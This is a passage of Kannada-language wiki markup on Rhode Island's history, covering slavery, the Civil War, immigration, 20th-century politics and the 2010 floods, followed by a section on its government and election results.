ಆದಾಗ್ಯೂ,ಕನ್ಸರ್ವೇಟಿವ್ ಹಾಲಿ ಗವರ್ನರ್ ಸ್ಯಾಮ್ಯುಯಲ್ ವಾರ್ಡ್ ಕಿಂಗ್ ಜನರ ಆಶೋತ್ತರಗಳನ್ನು ವಿರೋಧಿಸಿದ್ದರಿಂದ ಡಾರ್ ದಂಗೆಗೆ ಆಸ್ಪದ ಕಲ್ಪಿಸಿತು. ಇದು ಯಶಸ್ವಿಯಾಗದಿದ್ದರೂ, ನವೆಂಬರ್‌ನಲ್ಲಿ ಸಂವಿಧಾನದ ನವೀಕೃತ ಸ್ವರೂಪವನ್ನು ಅನುಮೋದಿಸಲಾಯಿತು. ಬಿಳಿಯ ಜನಾಂಗದ ಪುರುಷ ಭೂಮಿಯ ಮಾಲೀಕತ್ವ ಹೊಂದಿದ್ದರೆ ಅಥವಾ $1ಚುನಾವಣೆ ತೆರಿಗೆಯನ್ನು ಪಾವತಿ ಮಾಡುವ ಮೂಲಕ ಮತದಾನ ಮಾಡಲು ಅದು ಅವಕಾಶ ನೀಡಿತು. ಕ್ರಾಂತಿ ನಂತರದ ಯುಗದಲ್ಲಿ ಕೈಗಾರಿಕೀಕರಣದ ಜತೆಯಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಗುಲಾಮ ವ್ಯಾಪಾರದಲ್ಲಿ ತೀವ್ರವಾಗಿ ಒಳಗೊಂಡಿತ್ತು. 1652ಕ್ಕಿಂತ ಮುಂಚೆ ಗುಲಾಮಪದ್ಧತಿಯು ಅಸ್ತಿತ್ವದಲ್ಲಿತ್ತು. 1774ರಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಗುಲಾಮರ ಸಂಖ್ಯೆಯು ಯಾವುದೇ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ವಸಾಹತಿಗಿಂತ ಸುಮಾರು ಎರಡರಷ್ಟು ಅಂದರೆ 6.3%ರ ಪ್ರಮಾಣದಲ್ಲಿತ್ತು. 18ನೇ ಶತಮಾನದ ಕೊನೆಯಲ್ಲಿ, ಅನೇಕ ರೋಡ್ ಐಲೆಂಡ್ ವ್ಯಾಪಾರಿ ಕುಟುಂಬಗಳು ತ್ರಿಕೋನೀಯ ಗುಲಾಮ ವ್ಯಾಪಾರದಲ್ಲಿ ನಿರತವಾಯಿತು. ಇವರಲ್ಲಿ ಗಮನಾರ್ಹವಾದವರು ಬ್ರೌನ್ ಕುಟುಂಬದ ಸಹೋದರರಾದ ಜಾನ್ ಮತ್ತು ನಿಕೋಲಾಸ್. ಅವರ ಹೆಸರಿನಲ್ಲಿ ಬ್ರೌನ್ ವಿಶ್ವವಿದ್ಯಾಲಯಕ್ಕೆ ನಾಮಕರಣ ಮಾಡಲಾಯಿತು.ಆದರೂ ಕೆಲವು ಬ್ರೌನರು,ವಿಶೇಷವಾಗಿ ಮಾಸಸ್ ಪ್ರಮುಖ ಗುಲಾಮಗಿರಿ ರದ್ದತಿ ವಾದಿಗಳಾದರು. ಕ್ರಾಂತಿಯ ನಂತರದ ವರ್ಷಗಳಲ್ಲಿ, ರೋಡ್ ಐಲೆಂಡ್ ವ್ಯಾಪಾರಿಗಳು ಆಫ್ರಿಕನ್ ಗುಲಾಮರ ಅಮೆರಿಕ ವ್ಯಾಪಾರದಲ್ಲಿ 60% ರಿಂದ 90%ರ ನಡುವೆ ನಿಯಂತ್ರಣ ಹೊಂದಿದ್ದರು.<ref>[http://www.slavenorth.com/rhodeisland.htm ಸ್ಲೇವರಿ ಇನ್ ರೋಡ್ ಐಲೆಂಡ್], ಫ್ರಂ ಸ್ಲೇವರಿ ಇನ್ ದಿ ನಾರ್ತ್ 2006ರ ಅಕ್ಟೋಬರ‍್ 17ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref><ref>[http://www.brown.edu/Administration/News_Bureau/Info/Slavery.html ಸ್ಲೇವರಿ, ದಿ ಬ್ರೌನ್ ಫ್ಯಾಮಿಲಿ ಆಫ್ ಪ್ರಾವಿಡೆನ್ಸ್, ಎಂಡ್ ಬ್ರೌನ್ ಯೂನಿವರ್ಸಿಟಿ] {{Webarchive|url=https://web.archive.org/web/20090615153948/http://www.brown.edu/Administration/News_Bureau/Info/Slavery.html |date=ಜೂನ್ 15, 2009 }}, ಬ್ರೌನ್ ನ್ಯೂಸ್ ಬ್ಯೂರೊ 2006ರ ಅಕ್ಟೋಬರ‍್ 17ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ==== ಅಂತರ್ಯುದ್ಧದಿಂದ ಪ್ರಗತಿಶೀಲ ಯುಗ: 1860–1929 ==== [[ಅಮೇರಿಕಾದ ಅಂತಃಕಲಹ|ಅಂತರ್ಯುದ್ಧ]]ದ ಸಂದರ್ಭದಲ್ಲಿ, ರೋಡ್ ಐಲೆಂಡ್ ಅಧ್ಯಕ್ಷ ಲಿಂಕನ್‌ ರಾಜ್ಯಗಳಿಂದ ಸಹಾಯಕ್ಕಾಗಿ ಮಾಡಿಕೊಂಡ ಮನವಿಗೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ ಪಡೆಗಳನ್ನು ಕಳಿಸಿದ ಪ್ರಥಮ ಒಕ್ಕೂಟದ ರಾಜ್ಯವೆನಿಸಿತು. ರೋಡ್ ಐಲೆಂಡ್ 25 ,236 ಸೈನಿಕರನ್ನು ಒದಗಿಸಿತು ಮತ್ತು ಅವರಲ್ಲಿ 1,685 ಮಂದಿ ಅಸುನೀಗಿದರು. ನಾಗರಿಕರಂಗಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಇತರ ಉತ್ತರದ ರಾಜ್ಯಗಳ ಜತೆ ಸೇರಿಕೊಂಡು, ಒಕ್ಕಟೂದ ಸೇನೆಗೆ ಸಮರ ಜಯಿಸುವುದಕ್ಕಾಗಿ ಅಗತ್ಯವಾದ ಸಾಮಗ್ರಿಗಳನ್ನು ಸರಬರಾಜು ಮಾಡಲು ಅದರ ಕೈಗಾರಿಕೆ ಸಾಮರ್ಥ್ಯವನ್ನು ಬಳಸಿಕೊಂಡಿತು. ಅಮೆರಿಕದ ನೌಕಾ ಅಕಾಡೆಮಿಯು ಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ ಇಲ್ಲಿಗೆ ತಾತ್ಕಾಲಿಕವಾಗಿ ಸಾಗಣೆಯಾಯಿತು. 1866ರಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಸಾರ್ವಜನಿಕ ಶಾಲೆಗಳಲ್ಲಿ ರಾಜ್ಯದಾದ್ಯಂತ ಜನಾಂಗೀಯ ಪ್ರತ್ಯೇಕತೆಯನ್ನು ರದ್ದುಮಾಡಿತು.<ref>{{cite web |url=http://www.rilin.state.ri.us/studteaguide/RhodeIslandHistory/chapt5.html |title=Rhode Island History: CHAPTER V: Change, Controversy, and War, 1846-1865 |accessdate=March 28, 2006 |archive-date=ಫೆಬ್ರವರಿ 3, 2006 |archive-url=https://web.archive.org/web/20060203064148/http://www.rilin.state.ri.us/studteaguide/RhodeIslandHistory/chapt5.html |url-status=dead }}</ref> ಯುದ್ಧದ ನಂತರದ ವಲಸೆಯಿಂದ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಹೆಚ್ಚಳವಾಯಿತು. 1860ರ ದಶಕದಿಂದ 1880ರ ದಶಕದವರೆಗೆ,ಅನೇಕ ವಲಸೆಗಾರರು ಇಂಗ್ಲೆಂಡ್, ಐರ್ಲೆಂಡ್,ಜರ್ಮನಿ, ಸ್ವೀಡನ್ ಮತ್ತು ಕ್ಯುಬೆಕ್‌ಗೆ ಸೇರಿದವರಾಗಿದ್ದರು. ಶತಮಾನದ ಅಂತ್ಯಕಾಲದಲ್ಲಿ ಬಹುತೇಕ ವಲಸೆಗಾರರು ಪೂರ್ವ ಯುರೋಪ್ ಮತ್ತು ಮೆಡಿಟರೇನಿಯನ್ ಪ್ರದೇಶದಿಂದ ವಲಸೆ ಬಂದವರಾಗಿದ್ದರು.<ref>{{cite web |url=http://www.rilin.state.ri.us/studteaguide/RhodeIslandHistory/chapt6.html |title=Rhode Island History: CHAPTER VI: The Gilded Age, 1866-1899 |accessdate=March 28, 2006 |archive-date=ಸೆಪ್ಟೆಂಬರ್ 25, 2006 |archive-url=https://web.archive.org/web/20060925071033/http://www.rilin.state.ri.us/studteaguide/RhodeIslandHistory/chapt6.html |url-status=dead }}</ref> ಶತಮಾನದ ತಿರುವಿನಲ್ಲಿ, ರೋಡ್ ಐಲೆಂಡ್ ಆರ್ಥಿಕ ಉತ್ಕರ್ಷ ಸ್ಥಿತಿಯಲ್ಲಿದ್ದು, ವಲಸೆಯ ಬೇಡಿಕೆಗೆ ಆಹಾರ ಒದಗಿಸಿತು. ದೇಶದ ಉಳಿದ ಕಡೆ ಹೆಚ್ಚು ಪ್ರಗತಿಶೀಲ ಸುಧಾರಣೆಗಳಿಗೆ ತದ್ವಿರುದ್ಧವಾಗಿ ಮೊದಲನೇ ವಿಶ್ವಯುದ್ಧಕ್ಕೆ ದಾರಿ ಕಲ್ಪಿಸಿದ ವರ್ಷಗಳಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಸಂವಿಧಾನವು ಪ್ರತಿಗಾಮಿಯಾಗಿ ಉಳಿಯಿತು. ರಾಜ್ಯವು ರಾಷ್ಟ್ರೀಯ ಮದ್ಯಪಾನ ನಿಷೇಧ ನೆಲೆಗೊಳಿಸುವ 18ನೇ ತಿದ್ದುಪಡಿಯನ್ನು ಅನುಮೋದಿಸಲಿಲ್ಲ.<ref>[http://www.coolquiz.com ಕೂಲ್ ಕ್ವಿಜ್].</ref> ಮೊದಲನೇ ವಿಶ್ವಮಹಾಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ ದ್ವೀಪವು 28,817 ಸೈನಿಕರನ್ನು ಒದಗಿಸಿತು. ಅವರಲ್ಲಿ 612 ಜನರು ಮೃತಪಟ್ಟರು. ಯುದ್ಧದ ನಂತರವು ರಾಜ್ಯವು ಸ್ಪಾನಿಷ್ ಫ್ಲೂ ಕಾಯಿಲೆಯಿಂದ ತೀವ್ರ ಸ್ವರೂಪದಲ್ಲಿ ಬಳಲಿತು.<ref>{{cite web |url=http://www.rilin.state.ri.us/studteaguide/RhodeIslandHistory/chapt7.html |title=Rhode Island History: CHAPTER VII: Boom, Bust, and War, 1900-1945 |accessdate=March 28, 2006 |archive-date=ಮಾರ್ಚ್ 2, 2006 |archive-url=https://web.archive.org/web/20060302040555/http://www.rilin.state.ri.us/studteaguide/rhodeislandhistory/chapt7.html |url-status=dead }}</ref> 1920ಮತ್ತು 1930ರಲ್ಲಿ ಗ್ರಾಮೀಣ ರೋಡ್ ಐಲೆಂಡ್ [[ಕು ಕ್ಲುಕ್ಸ್ ಕ್ಲಾನ್|ಕು ಕ್ಲಕ್ಸ್ ಕ್ಲಾನ್]] ಸದಸ್ಯತ್ವದಲ್ಲಿ ಹೆಚ್ಚಳವನ್ನು ಕಂಡಿತು. ರಾಜ್ಯಕ್ಕೆ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ವಲಸೆಗಾರರ ಅಲೆಗೆ ಇದು ಬಹುಮಟ್ಟಿಗೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿತ್ತು. ಸ್ಕಿಟುಯೇಟ್‌ನಲ್ಲಿ ವಾಚ್‌ಮನ್ ಕೈಗಾರಿಕೆ ಶಾಲೆಗೆ ಅಗ್ನಿಗಾಹುತಿ ಮಾಡುವುದಕ್ಕೆ ಕ್ಲಾನ್(ರಹಸ್ಯ ಸಮಾಜ) ಕಾರಣವೆಂದು ನಂಬಲಾಗಿತ್ತು. ಈ ಶಾಲೆಯು ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಮಕ್ಕಳಿಗೆ ಮಾತ್ರವಿತ್ತು.<ref>ರಾಬರ್ಟ್ ಸ್ಮಿತ್, [http://www.projo.com/specials/century/month4/426nw1.htm ಇನ್ ದಿ 1920s ದಿ ಕ್ಲಾನ್ ರೂಲ್ಡ್ ದಿ ಕಂಟ್ರಿಸೈಡ್], ದಿ ರೋಡ್ ಐಲೆಂಡ್ ಸೆಂಚುರಿ ''ದಿ ಪ್ರಾವಿಡೆನ್ಸ್ ಜರ್ನಲ್'' ,ಏಪ್ರಿಲ್ 26, 1999.</ref> ==== ಆಧುನಿಕ ಯುಗದಲ್ಲಿ ಬೆಳವಣಿಗೆ: 1929–ಇಂದಿನವರೆಗೆ ==== 20ನೇ ಶತಮಾನದಲ್ಲಿ ರಾಜ್ಯವು ಬೆಳವಣಿಗೆ ಕಂಡಿತು. ಆದರೂ ಕೈಗಾರಿಕೆಯಲ್ಲಿ ಕುಂಠಿತವು ಅನೇಕ ಪಟ್ಟಣ ಪ್ರದೇಶಗಳನ್ನು ನಾಶ ಮಾಡಿತು. ದೇಶದ ಉಳಿದ ಪಟ್ಟಣ ಪ್ರದೇಶಗಳಂತೆ ನಗರದ ಮುಖ್ಯಭಾಗದಲ್ಲಿ ಅಂತಾರಾಜ್ಯ ಹೆದ್ದಾರಿಗಳ ನಿರ್ಮಾಣ ಮತ್ತು ಅದರಿಂದ ಹಾಗೂ GI ಮಸೂದೆ‌ಯಿಂದ ಉಂಟಾದ ಉಪನಗರೀಕರಣದಿಂದ ಈ ಪ್ರದೇಶಗಳ ಮೇಲೆ ದುಷ್ಪರಿಣಾಮ ಬೀರಿದವು. ರೋಡ್ ಐಲೆಂಡ್ ಬೆಳವಣಿಗೆ ಮತ್ತು ಆಧುನೀಕರಣವನ್ನು ಮುಂದುವರಿಸಿತು. ಇದು ಪಟ್ಟಣ ಸಾಮೂಹಿಕ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆ ಸೃಷ್ಟಿಗೆ ದಾರಿ ಕಲ್ಪಿಸಿತು ಮತ್ತು ಆರೋಗ್ಯ ಮತ್ತು ನೈರ್ಮಲ್ಯ ಕಾರ್ಯಕ್ರಮಗಳಲ್ಲಿ ಸುಧಾರಣೆ ತಂದಿತು.{{Citation needed|reason=Too broad and inclusive a statement which needs rewording|date=February 2010}} ಮಹಾ ಹಿಂಜರಿತದ ತರುವಾಯ,ರೋಡ್ ಐಲೆಂಡ್ ಡೆಮೋಕ್ರಾಟಿಕ್ ಪಕ್ಷವು ಸ್ಥಳೀಯ ರಾಜಕೀಯದಲ್ಲಿ ಪ್ರಾಬಲ್ಯ ಮೆರೆಯಿತು. ಕಡಿಮೆ ಆದಾಯವರ್ಗದ ಮಕ್ಕಳಿಗೆ ಸಮಗ್ರ ಆರೋಗ್ಯ ವಿಮೆ ಸೌಲಭ್ಯ ಮತ್ತು ದೊಡ್ಡ ಸಾಮಾಜಿಕ ಸುರಕ್ಷತೆ ಜಾಲನ್ನು ದ್ವೀಪವು ಹೊಂದಿತ್ತು. ಅನೇಕ ನಗರ ಪ್ರದೇಶಗಳಲ್ಲಿ ಈಗಲೂ ಬಡತನದಲ್ಲಿರುವ ಮಕ್ಕಳ ಪ್ರಮಾಣ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿದೆ. ಬೋಸ್ಟನ್‌ನಿಂದ ನಿವಾಸಿಗಳ ಹರಿವಿನಿಂದಾಗಿ, ರೋಡ್ ಐಲೆಂಡ್ ಮನೆಗಳ ದರಗಳು ಹೆಚ್ಚಿದ ಫಲವಾಗಿ ಹೆಚ್ಚು ಜನರು ವಸತಿಹೀನರಾದರು.<ref>{{cite web | url = http://204.17.79.244/profiles/cw_pro.html | title = Providence Neighborhood Profiles | access-date = ನವೆಂಬರ್ 17, 2010 | archive-date = ಏಪ್ರಿಲ್ 25, 2006 | archive-url = https://web.archive.org/web/20060425093125/http://204.17.79.244/profiles/cw_pro.html | url-status = dead }}</ref> [[ಚಿತ್ರ:N3419822 37931820 6163Providence.jpg|thumb|250px|right|21ನೇ ಶತಮಾನದಲ್ಲಿ ಪ್ರಾವಿಡೆನ್ಸ್]] ರಾಜ್ಯ ಶಾಸನಸಭೆಯಲ್ಲಿ ಅಕ್ಷರಶಃ ಅಸ್ತಿತ್ವದಲ್ಲಿಲ್ಲದ ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷವು ಯಶಸ್ವಿಯಾಗಿ ರಾಜ್ಯ ವ್ಯಾಪಿ "ಉತ್ತಮ ಸರ್ಕಾರ" ಸುಧಾರಣೆವಾದಿ ಅಭ್ಯರ್ಥಿಗಳನ್ನು ನಾಮಕರಣ ಮಾಡಿತು. ಅವರು ರಾಜ್ಯದ ಅತ್ಯಧಿಕ ತೆರಿಗೆಗಳನ್ನು ಡೆಮೋಕ್ರಾಟಿಕ್ ಪಕ್ಷದ ಅತಿರೇಕಗಳನ್ನು ಟೀಕಿಸಿದರು. ಹಾಲಿ ಗವರ್ನರ್ ಈಸ್ಟ್ ಗ್ರೀನ್‌ವಿಚ್‌ನ ಡೊನಾಲ್ಡ್ ಕಾರ್ಸಿಯೇರಿ ಹಾಗೂ ಪ್ರಾವಿಡೆನ್ಸ್ ಮಾಜಿ ಮೇಯರ್ ವಿನ್ಸೆಂಟ್ Aಬಡ್ಡಿ ಸಿಯಾನ್ಸಿ(ಅವರು ನಂತರ ಸ್ವತಂತ್ರ ರಾಜಕೀಯ ನೇತಾರರಾದರು ಹಾಗೂ RICO (ಸಂಘಟಿತ ಅಪರಾಧ ತಡೆ ಕಾಯ್ದೆ) ಆರೋಪಗಳ ಮೇಲೆ ಶಿಕ್ಷೆಗೆ ಗುರಿಪಡಿಸಲಾಯಿತು)ರಿಪಬ್ಲಿಕನ್ ಸುಧಾರಣೆವಾದಿ ಅಭ್ಯರ್ಥಿಗಳಾಗಿ ಸ್ಪರ್ಧಿಸಿದರು. ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ{{When|date=January 2010}} ಸದನದ ಮಾಜಿ ಸ್ಪೀಕರ್ ಜಾನ್ ಹಾರ್ವುಡ್, ರಾಜ್ಯ ಸೆನೆಟ್ ಸದಸ್ಯ ಜಾನ್ ಸೆಲೋನ ಮತ್ತು ರಾಜ್ಯ ಸೆನೆಟ್ ಅಧ್ಯಕ್ಷ ವಿಲಿಯಂ ಐರನ್ಸ್ ಹಗರಣಗಳ ಮಧ್ಯೆ ಬಲವಂತವಾಗಿ ರಾಜೀನಾಮೆ ನೀಡಿದರು.{{Citation needed|date=January 2010}} 2003ರಲ್ಲಿ, ವೆಸ್ಟ್‌ವಾರ್ವಿಕ್‌ನಲ್ಲಿ ರಾತ್ರಿಕ್ಲಬ್ ಅಗ್ನಿದುರಂತವು ಒಂದು ನೂರು ಜನರನ್ನು ಬಲಿತೆಗೆದುಕೊಂಡಿತು ಮತ್ತು ರಾಷ್ಟ್ರದ ಗಮನವನ್ನು ಸೆಳೆಯಿತು. ಬೆಂಕಿದುರಂತದ ಫಲವಾಗಿ ಕ್ರಿಮಿನಲ್ ಅಪರಾಧದ ಶಿಕ್ಷೆಗಳನ್ನು ವಿಧಿಸಲಾಯಿತು.<ref name="Butler">{{cite news | last= Butler | first= Brian | title = Nightclub Fire Kills 39 People |date=February 21, 2003 | publisher= CNN | url=http://transcripts.cnn.com/TRANSCRIPTS/0302/21/bn.09.html}}</ref> 2010 ಮಾರ್ಚ್‌ನಲ್ಲಿ ರಾಜ್ಯದ ಪ್ರದೇಶಗಳಲ್ಲಿ ಭಾರೀ ಮಳೆಯಿಂದ ನದಿಗಳು ಉಕ್ಕಿಹರಿದಿದ್ದರಿಂದ ದಾಖಲೆಯ ಪ್ರವಾಹವನ್ನು ಎದುರಿಸಿದವು. ಮಾರ್ಚ್ ಮಧ್ಯದಲ್ಲಿ ಮಳೆಯ ಹವೆಯ ಮೊದಲ ಅವಧಿಯು ಸ್ಥಳೀಯ ಪ್ರವಾಹವನ್ನು ಉಂಟುಮಾಡಿತು. ಆದರೆ ಎರಡು ವಾರಗಳ ನಂತರ, ಹೆಚ್ಚಿನ ಮಳೆಯಿಂದ ಅನೇಕ ಪಟ್ಟಣಗಳು ವಿಶೇಷವಾಗಿ ಪ್ರಾವಿಡೆನ್ಸ್ ದಕ್ಷಿಣಭಾಗವು ಪ್ರವಾಹಪೀಡಿತವಾದವು. 2010ರ ಮಾರ್ಚ್ 29 -30ರಲ್ಲಿ ಬಿದ್ದ ಒಟ್ಟು ಮಳೆಯು ಅನೇಕ ಸ್ಥಳಗಲ್ಲಿ 14 ಇಂಚುಗಳನ್ನು ಮೀರಿಸಿತು. ಇದರಿಂದ ಆ ಪ್ರದೇಶದ ನದಿಗಳು ಉಕ್ಕಿಹರಿದವು. ವಿಶೇಷವಾಗಿ ಮಧ್ಯ ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ ಹರಿಯುವ ಪಾವ್‌ಟಕ್ಸೆಟ್ ನದಿ. ಪಾವ್‌ಟಕ್ಸೆಟ್ ನದಿಯು ಬಹುಮಟ್ಟಿಗೆ{{convert|11|ft|m}} ಪ್ರವಾಹದ ಮಟ್ಟವನ್ನು ಮೀರಿ ಉಕ್ಕಿಹರಿದಿದ್ದರಿಂದ, ಕೊಳಚೆನೀರು ಸಂಸ್ಕರಣೆ ಘಟಕವನ್ನು ಮುಳುಗಿಸಿತು ಮತ್ತು ಅಂತರರಾಜ್ಯ 95ಹೆದ್ದಾರಿಯಲ್ಲಿ 5 ಮೈಲುಗಳ(8ಕಿಮೀ) ಉದ್ದದ ರಸ್ತೆ ಬಂದ್ ಆಯಿತು. ಇದರ ಜತೆಯಲ್ಲಿ ಎರಡು ಅಂಗಡಿ ಮಳಿಗೆಗಳು, ಅಸಂಖ್ಯಾತ ವಾಣಿಜ್ಯ ಸಂಸ್ಥೆಗಳು, ವಾರ್ವಿಕ್‌, ವೆಸ್ಟ್‌ವಾರ್ವಿಕ್, ಕ್ರಾನ್‌ಸ್ಟನ್‌ನ ಅನೇಕ ಮನೆಗಳು ಮುಳುಗಿದವು. ಈ ಅವಧಿಯಲ್ಲಿ ನ್ಯೂಯಾರ್ಕ್ ಮತ್ತು ಬೋಸ್ಟನ್ ಮಧ್ಯೆಯಿರುವ ಆಮ್‌ಟ್ರಾಕ್ ಸೇವೆಯನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಲಾಯಿತು. ಪ್ರವಾಹದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ,ರೋಡ್ ಐಲೆಂಡ್ ಎರಡು ದಿನಗಳವರೆಗೆ ತುರ್ತು ಸ್ಥಿತಿಯಲ್ಲಿತ್ತು ಮತ್ತು ಅಧ್ಯಕ್ಷ ಒಬಾಮಾ ನೆರೆಯ ಮಸಾಚುಸೆಟ್ಸ್‌ಗೆ ಆಗಮಿಸಿ ಪ್ರವಾಹದಿಂದ ಉಂಟಾದ ಹಾನಿ ಅಂದಾಜು ಮಾಡಿದರು. ಪ್ರವಾಸಸಂತ್ರಸ್ತರಿಗೆ ನೆರವಾಗಲು FEMA (ತುರ್ತುಸ್ಥಿತಿ ನಿರ್ವಹಣೆ ಸಂಸ್ಥೆ)ವನ್ನು ಕೂಡ ಕರೆಸಲಾಗಿತ್ತು. 2010ರ ಜೂನ್‌ನಲ್ಲಿದ್ದಂತೆ, ಮಳಿಗೆಯೊಂದು ಇನ್ನೂ ಪುನಾರಂಭವಾಗಿಲ್ಲ ಮತ್ತು ಅನೇಕ ಸ್ಥಳಗಳು ಪುನಾರಂಭಕ್ಕಾಗಿ ಈಗಲೂ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿವೆ. == ಕಾನೂನು ಮತ್ತು ಸರ್ಕಾರ == {| class="wikitable" style="float:right;font-size:79%" |+ <td>'''ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣಾ ಫಲಿತಾಂಶಗಳು''' </td> |- style="background:lightgrey" ! ವರ್ಷ ! ರಿಪಬ್ಲಿಕನ್ ! ಡೆಮೋಕ್ರಾಟಿಕ್ |- | style="background:#f0f0ff"|2008 | style="background:#fff3f3"|35.21% ''165,391'' | style="background:#f0f0ff"| '''63.13%''' ''296,571'' |- | style="background:#f0f0ff"|2004 | style="background:#fff3f3"|38.67% ''169,046'' | style="background:#f0f0ff"|'''59.42%''' ''259,760'' |- | style="background:#f0f0ff"|2000 | style="background:#fff3f3"|31.91% ''130,555'' | style="background:#f0f0ff"|'''60.99%''' ''249,508'' |- | style="background:#f0f0ff"|1996 | style="background:#fff3f3"|26.82% ''104,683'' | style="background:#f0f0ff"|'''59.71%''' ''233,050'' |- | style="background:#f0f0ff"|1992 | style="background:#fff3f3"| 29.02% ''131,601'' | style="background:#f0f0ff"|'''47.04%''' ''213,299'' |- | style="background:#f0f0ff"|1988 | style="background:#fff3f3"| 43.93% ''177,761'' | style="background:#f0f0ff"|'''55.64%''' ''225,123'' |- | style="background:#fff3f3"|1984 | style="background:#fff3f3"| '''51.80%''' ''212,080'' | style="background:#f0f0ff"| 49.90% ''197,106'' |- | style="background:#f0f0ff"|1980 | style="background:#fff3f3"| 37.20% ''154,793'' | style="background:#f0f0ff"|'''47.70%''' ''198,342'' |- | style="background:#f0f0ff"|1976 | style="background:#fff3f3"| 44.10% ''181,249'' | style="background:#f0f0ff"|'''55.40%''' ''227,636'' |- | style="background:#fff3f3"|1972 | style="background:#fff3f3"| '''53.00%''' ''220,383'' | style="background:#f0f0ff"| 46.80% ''194,645'' |} ಪ್ರಾವಿಡೆನ್ಸ್ ರೋಡ್ ಐಲೆಂಡ್ ರಾಜಧಾನಿಯಾಗಿದೆ. ರಾಜ್ಯದ ಹಾಲಿ ಗವರ್ನರ್ ಡೊನಾಲ್ಡ್ L. ಕಾರ್ಸೀರಿ (R) ಮತ್ತು ಲೆಫ್ಟಿನೆಂಟ್ ಗವರ್ನರ್ ಎಲಿಜಬೆತ್ H. ರಾಬರ್ಟ್ಸ್ ಇದರ ಅಮೆರಿಕದ ಸೆನೆಟ್ ಸದಸ್ಯರು ಜ್ಯಾಕ್ ರೀಡ್(D)ಮತ್ತು ಶೆಲ್ಡನ್ ವೈಟ್‌ಹೌಸ್ (D). ರೋಡ್ ಐಲೆಂಡ್ ಎರಡು ಅಮೆರಿಕ ಕಾಂಗ್ರೆಸ್ ಸದಸ್ಯರು ಪ್ಯಾಟ್ರಿಕ್ J. ಕೆನಡಿ (D-1) ಮತ್ತು ಜಿಮ್ ಲ್ಯಾಂಗೆವಿನ್(D-2). ''ನೋಡಿ ಕಾಂಗ್ರೆಸ್ ಜಿಲ್ಲೆಗಳ ನಕ್ಷೆ.'' ರೋಡ್ ಐಲೆಂಡ್ ಅಧಿಕೃತ ಗವರ್ನರ್ ನಿವಾಸ ಹೊಂದಿಲ್ಲದ ಕೆಲವೇ ರಾಜ್ಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ''ರೋಡ್ ಐಲೆಂಡ್ ಗವರ್ನರ್‌ಗಳ ಪಟ್ಟಿಯನ್ನು ನೋಡಿ.'' ರಾಜ್ಯದ ಶಾಸನಸಭೆಯು ರೋಡ್ ಐಲೆಂಡ್ ಜನರಲ್ ಅಸೆಂಬ್ಲಿಯಾಗಿದ್ದು, 75 ಸದಸ್ಯರ ಪ್ರತಿನಿಧಿಗಳ ಸಭೆ ಮತ್ತು 38 ಸದಸ್ಯರಸೆನೆಟ್ ಒಳಗೊಂಡಿದೆ. ದ್ವಿಸಭೆಯ ಎರಡೂ ಸದನಗಳು ಡೆಮೋಕ್ರಾಟಿಕ್ ಪಕ್ಷದಿಂದ ಪ್ರಸಕ್ತ ಪ್ರಾಬಲ್ಯತೆ ಹೊಂದಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಜನಸಂಖ್ಯೆಯು ಫೆಡರಲ್ ಹೌಸ್ (ಪ್ರಾತಿನಿಧಿಕ ಸಭೆ) ಮತ್ತು ಎಲಕ್ಟೋರಲ್ ಕಾಲೇಜು(ಚುನಾಯಿತ ಪ್ರತಿನಿಧಿಗಳು) ಎರಡರಲ್ಲೂ ಹೆಚ್ಚುವರಿ ಮತಗಳ ಮಿತಿಯನ್ನು ಮೀರುವುದಿಲ್ಲ. ಜನಸಂಖ್ಯೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಅದು ಉತ್ತಮ ಪ್ರಾತಿನಿಧ್ಯ ಹೊಂದಿದ್ದು, ಪ್ರತಿ ನಿವಾಸಿಗೆ 8ನೇ ಅತ್ಯಧಿಕ ಸಂಖ್ಯೆಯ ಎಲಕ್ಟೋರಲ್ ಮತಗಳನ್ನು ಮತ್ತು ಎರಡನೇ ಅತ್ಯಧಿಕ ಪ್ರಾತಿನಿಧಿಕ ಸಭೆಯ ಸದಸ್ಯರನ್ನು ಹೊಂದಿದೆ. ಈ ಪ್ರದೇಶದ ಆಧಾರದ ಮೇಲೆ, ರೋಡ್ ಐಲೆಂಡ್ ಕೂಡ ಎಲೆಕ್ಟರೋಲ್ ಮತಗಳ ಹೆಚ್ಚಿನ ಸಾಂದ್ರತೆಯನ್ನು ಹೊಂದಿದೆ.<ref>http://www.270towin.com/states/New_Jersey www.270towin.com/states/New_Jersey</ref> ಫೆಡರಲ್ ಸರ್ಕಾರಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ, ರೋಡ್ ಐಲೆಂಡ್ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆಯಲ್ಲಿ ವಿಶ್ವಾಸಾರ್ಹ ಡೆಮಾಕ್ರಟಿಕ್ ರಾಜ್ಯಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದು, ಡೆಮಾಕ್ರಟಿಕ್ ಅಭ್ಯರ್ಥಿಗಳಿಗೆ ತಮ್ಮ ಅತ್ಯುತ್ತಮ 